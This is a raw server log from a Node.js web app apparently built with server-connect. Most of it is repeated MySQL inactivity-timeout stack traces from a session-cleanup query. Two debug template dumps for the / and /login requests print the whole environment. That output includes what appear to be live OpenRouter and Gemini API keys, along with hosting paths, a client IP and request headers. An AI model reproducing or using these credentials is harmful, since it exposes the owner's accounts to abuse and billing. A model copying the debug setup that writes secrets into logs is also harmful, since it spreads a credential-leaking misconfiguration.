  sql: "delete from `sessions` where expired < CAST('2026-03-29 00:09:35' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-29 02:04:35' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-29 02:04:35' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-29 02:45:35' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-29 02:45:35' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-29 04:12:35' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-29 04:12:35' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-29 08:12:36' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-29 08:12:36' as DATETIME)"
}
2026-03-29T11:12:16.920Z server-connect:router Serving templateView /
2026-03-29T11:12:16.926Z server-connect:app Executing action step identify
2026-03-29T11:12:16.926Z server-connect:app options: { provider: 'security' }
2026-03-29T11:12:16.931Z server-connect:auth No login cookie found
2026-03-29T11:12:16.931Z server-connect:output identity: false
2026-03-29T11:12:16.931Z server-connect:app Executing action step restrict
2026-03-29T11:12:16.931Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-29T11:12:16.934Z server-connect:output restrict: undefined
2026-03-29T11:12:20.026Z server-connect:router Serving templateView /login
2026-03-29T11:12:20.026Z server-connect:app Executing action step identify
2026-03-29T11:12:20.026Z server-connect:app options: { provider: 'security' }
2026-03-29T11:12:20.027Z server-connect:auth No login cookie found
2026-03-29T11:12:20.027Z server-connect:output identity: false
2026-03-29T11:12:20.027Z server-connect:router Render template layouts/authentication
2026-03-29T11:12:20.027Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    connection: 'keep-alive',
    'sec-ch-ua': '"Chromium";v="142", "Not:A-Brand";v="24", "Brave";v="142"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Linux"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    'sec-gpc': '1',
    'accept-language': 'en-US,en;q=0.5',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '165.227.36.174',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-30T11:12:20.025Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '165.227.36.174',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Not:A-Brand";v="24", "Brave";v="142"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Linux"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    HTTP_SEC_GPC: '1',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '165.227.36.174',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-29 12:18:37' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-29 12:18:37' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-29 13:49:37' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-29 13:49:37' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-29 15:33:37' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-29 15:33:37' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-29 17:20:38' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-29 17:20:38' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-29 18:38:38' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-29 18:38:38' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-29 20:17:38' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-29 20:17:38' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-29 21:52:38' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-29 21:52:38' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-29 23:22:38' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-29 23:22:38' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-30 00:09:38' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-30 00:09:38' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-30 00:20:39' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-30 00:20:39' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-30 01:29:39' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-30 01:29:39' as DATETIME)"
}
2026-03-30T01:37:07.385Z server-connect:router Serving templateView /
2026-03-30T01:37:07.387Z server-connect:app Executing action step identify
2026-03-30T01:37:07.387Z server-connect:app options: { provider: 'security' }
2026-03-30T01:37:07.387Z server-connect:auth No login cookie found
2026-03-30T01:37:07.387Z server-connect:output identity: false
2026-03-30T01:37:07.387Z server-connect:app Executing action step restrict
2026-03-30T01:37:07.387Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-30T01:37:07.388Z server-connect:output restrict: undefined
2026-03-30T01:37:09.259Z server-connect:router Serving templateView /login
2026-03-30T01:37:09.259Z server-connect:app Executing action step identify
2026-03-30T01:37:09.260Z server-connect:app options: { provider: 'security' }
2026-03-30T01:37:09.260Z server-connect:auth No login cookie found
2026-03-30T01:37:09.260Z server-connect:output identity: false
2026-03-30T01:37:09.260Z server-connect:router Render template layouts/authentication
2026-03-30T01:37:09.260Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
